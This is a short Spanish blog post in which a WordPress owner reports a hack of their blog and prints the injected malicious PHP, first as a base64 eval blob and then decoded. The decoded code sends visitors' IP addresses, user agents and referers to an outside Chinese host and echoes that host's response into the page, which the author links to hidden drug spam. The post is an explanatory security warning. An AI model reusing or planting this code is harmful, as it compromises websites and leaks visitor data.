
Wordpress Logo
Pensaba que la encriptación en base64 no era común, de hecho el único plugin de WordPress que lo utiliza es el
creado por mi. Sin embargo, recientemente recibí un ataque que insertó código malicioso encriptado en base64 después del header aprovechando aparentemente un exploit de WordPress, a pesar que el blog está protegido por Bad Behavior.
El código introducido es el siguiente:
<?php eval(base64_decode(‘CmZ1bmN0aW9uIGc4NzQ2MjgzNDcyMzQo
JHUsICRwID0gYXJyYXkgKCkpIHsKICAgICRjID0gY3VybF9pbml0KCk7CiAg
ICBjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9VUkwsICR1KTsKICAgIGN1cm
xfc2V0b3B0KCRjLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAg
IGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsKICAgI
CRoID0gY3VybF9leGVjKCRjKTsKICAgIGN1cmxfY2xvc2UgKCRjKTsKICAgIH
JldHVybiAkaDsKfQoKaWYgKHN1YnN0cigkX1NFUlZFUlsnUkVRVUVTVF9VU
kknXSwgMCwgOSkgPT0gJy9wYWdlLnBocCcpIHsKICAgIG9iX2VuZF9jbGV
hbigpOwoKICAgIGVjaG8gZzg3NDYyODM0NzIzNCgiaHR0cDovL3d3dy5teX
dlYi1zdGF0aXN0aWNzLmNuL2dldC5waHA/aT0iIC4gdXJsZW5jb2RlKCRfU0
VSVkVSWydSRU1PVEVfQUREUiddKSAuICImaD0iIC4gcmF3dXJsZGVjb2Rl
KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAiJmE9MSZpZD0iIC4gdXJsZW
5jb2RlKHN1YnN0cigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgMTMpKSAu
ICImbT0iIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiA
iJmw9IgogICAgICAgIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0FDQ0
VQVF9MQU5HVUFHRSddKSAuICImdT0iIC4gdXJsZW5jb2RlKCRfU0VSVkV
SWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiJnI9IiAuIHVybGVuY29kZSgkX1N
FUlZFUlsnSFRUUF9SRUZFUkVSJ10pKTsKCiAgICBleGl0Owp9IGVsc2Ugewo
gICAgZWNobyBnODc0NjI4MzQ3MjM0KCJodHRwOi8vd3d3Lm15d2ViLXN0
YXRpc3RpY3MuY24vZ2V0LnBocD9pPSIgLiB1cmxlbmNvZGUoJF9TRVJWR
VJbJ1JFTU9URV9BRERSJ10pIC4gIiZsPSIgLiB1cmxlbmNvZGUoJF9TRVJWR
VJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIC4gIiZoPSIgLiByYXd1cmxkZ
WNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICImbT0iIC4gdXJsZW5
jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAiJnU9IgogICAgICAgIC4g
dXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiJnI9I
iAuIHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKTsKfQ==’)); ?>
El cual se traduce en esto:
function g874628347234($u, $p = array ()) {
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $u);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_TIMEOUT, 30);
$h = curl_exec($c);
curl_close ($c);
return $h;
}
if (substr($_SERVER['REQUEST_URI'], 0, 9) == ‘/page.php’) {
ob_end_clean();
echo g874628347234(“http://www.myweb-statistics.cn/get.php?i=” . urlencode($_SERVER['REMOTE_ADDR']) . “&h=” . rawurldecode($_SERVER['HTTP_HOST']) . “&a=1&id=” . urlencode(substr($_SERVER['REQUEST_URI'], 13)) . “&m=” . urlencode($_SERVER['HTTP_HOST']) . “&l=”
. urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']) . “&u=” . urlencode($_SERVER['HTTP_USER_AGENT']) . “&r=” . urlencode($_SERVER['HTTP_REFERER']));
exit;
} else {
echo g874628347234(“http://www.myweb-statistics.cn/get.php?i=” . urlencode($_SERVER['REMOTE_ADDR']) . “&l=” . urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']) . “&h=” . rawurldecode($_SERVER['HTTP_HOST']) . “&m=” . urlencode($_SERVER['HTTP_HOST']) . “&u=”
. urlencode($_SERVER['HTTP_USER_AGENT']) . “&r=” . urlencode($_SERVER['HTTP_REFERER']));
}
Finalmente el código inserta un div con texto oculto relacionado con drogas de abuso, medicamentos de prescripción médica de venta ilegal, etc. Así que es recomendable cada cierto tiempo echar una mirada al código fuente del blog y buscar si se ha producido la inserción de código malicioso. Saludos.
Links: